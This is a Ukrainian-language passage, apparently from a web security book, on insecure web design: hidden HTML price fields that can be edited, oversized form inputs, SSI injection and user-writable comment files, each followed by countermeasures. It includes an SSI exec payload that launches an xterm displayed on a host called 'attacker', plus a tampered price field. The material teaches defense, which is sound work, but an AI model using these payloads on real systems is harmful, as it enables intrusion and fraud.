Погане проектування в Web
Хоча в історії розвитку Internet є численні приклади руйнівних атак на Web-серверы, які дозволяють зломщикам отримувати важливу інформацію про пристрій сервера, а часто і привілейовані права доступу, ці зломи — тільки вершина айсберга. Багато розробників не прагнуть вивчити життєво важливі методи проектування, які могли б обмежити небажане використання їх Web-серверов. У розвиток багато з методів, що обговорюються в цьому розділі, внесли внесок багато людей, зокрема Симпл Номад (Simple Nomad) з центру Nmrcі компанія Perfecto
Inc.
Використання прихованих дескрипторів
В даний
час багато компаній користуються Internet, пропонуючи свої продукти і послуги будь-якому, у кого є web-броузер. Але "погано запрограмований" візок для покупок може дозволити зломщикові фальсифікувати вартість товарів. Наприклад, розглянемо невелику компанію, що займається продажем апаратного забезпечення. Ця компанія обзавелася власним Web-сервером, щоб її клієнти могли здійснювати покупки в інтерактивному режимі. Проте вони допустили в програмі важливий промах: застосували приховані дескриптори HTML як єдиний механізм призначення ціни за певний товар. В результаті, якщо зломщики виявлять це вразливе місце, вони зможуть змінити ціну, що стоїть в прихованих дескрипторах, на свій розсуд.
Наприклад, хай на Web-узле є сторінка продажів з наступним кодом HTML.
<FORM Action="http://192.168.51.101/cgi-bin/order.pi"
method="post"> <input
type=hidden name="price"
value="199.99"> <input type=hidden
name="prd_id"
value="x190">
QUANTITY: <input type=text name="
quant" size=3 maxlength=3 value=l>
</form>
В цьому випадку проста зміна ціни за допомогою Netscape Composer або в будь-якому текстовому редакторові дозволить зломщикові заплатити за товар $1.99 замість передбачуваної суми $199.99:
<input type=hidden name="price" value="l.99">
Якщо вам здається, що такий стиль програмування зустрічається рідко, то можете упевнитися в цьому самостійно. Варто лише зайти на вузол
http://www.altavista.com і здійснити пошук,
задавши як критерій рядок type= hidden name= price.В результаті будуть отримані адреси сотні вузлів, що володіють такою вадою.
Інша форма
злому полягає у використанні значення ширини поля. При проектуванні в Web указуються багато розмірів, проте зломщик може міняти задані розробником значення, указуючи розміри близько 70,000 символів. Потім він може ввести у відповідне поле рядок, що складається з великого числа символів, і це може привести до виходу сервера з ладу. Якщо цього і не відбудеться, то подібні дії все ж таки можуть привести до непередбачуваних наслідків.
Контрзаходи проти використання прихованих дескрипторів
Щоб запобігти можливості використання зломщиками прихованих дескрипторів HTML, обмежте їх використання в коді, який забезпечує зберігання такої важливої інформації як ціни, або, принаймні, реалізуйте режим підтвердження цих значень перед їх використанням.
Вставки SSI
Механізм SSI (Server Side Includes) забезпечує інтерактивну роботу в режимі реального часу без використання програмування. Розробники Web-приложений часто використовують цю можливість для швидкого отримання системної дати/часу або для запуску локальної команди і обробки вихідних даних. Можливості таких вставок реалізуються за допомогою дескрипторів (tag). До числа дескрипторів входять: echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label, і break. Три з них, include, exec і email, можуть опинитися найбільш корисні зломщикам.
Вставивши код
SSI в поле документа HTML, що обробляється Web-сервером, зломщик може локально запускати команди і діставати доступ до сервера. За таким принципом можна розробити ряд різновидів зломів. Наприклад, при вставці дескриптора SSI в перше або останнє поле імені, що з'являється при створенні нового облікового запису, Web-сервер спробує обробити цей вираз і запустити відповідну команду. Наступний дескриптор SSI відображає на машині зломщика графічний термінал сервера.
<!--#ехес cmd="/usr/xhr6/bin/xterm -display attacker:0 &"-->
Запобіжні засоби проти використання SSI
Потрібно
користуватися сценарієм, провідним попередній синтаксичний аналіз будь-якого прочитаного файлу HTML, і що відкидає будь-який несанкціонований рядок SSI перед передачею цього файлу серверу для обробки.
Додавання до файлів
Будь-яка можливість
Web-приложений, що дозволяє користувачеві вводити інформацію у файл безпосередньо підвищує уразливість системи і створює потенційну можливість атаки. Наприклад, якщо на Web-узле міститься форма для введення рекомендацій по поліпшенню роботи вузла, або щось інше в тому ж дусі, і користувачі мають можливість проглядати цей файл, то зломщик може скористатися цією обставиною. Використовуючи код SSI (описаним вище способом), він може помістити у файл з коментарями код, який запускається локально, або код Javascript, що пропонує ввести вхідним користувачам їх ім'я і пароль, щоб використовувати цю інформацію в майбутньому.
Контрзаходи проти використання додавань до файлів
Потрібно обмежити можливість використання додавань в процесі сумісного інтерактивного використання інформації, оскільки ці можливості відкривають зломщикові дуже багато шляхи маніпулювання користувачами і Web-сервером.
|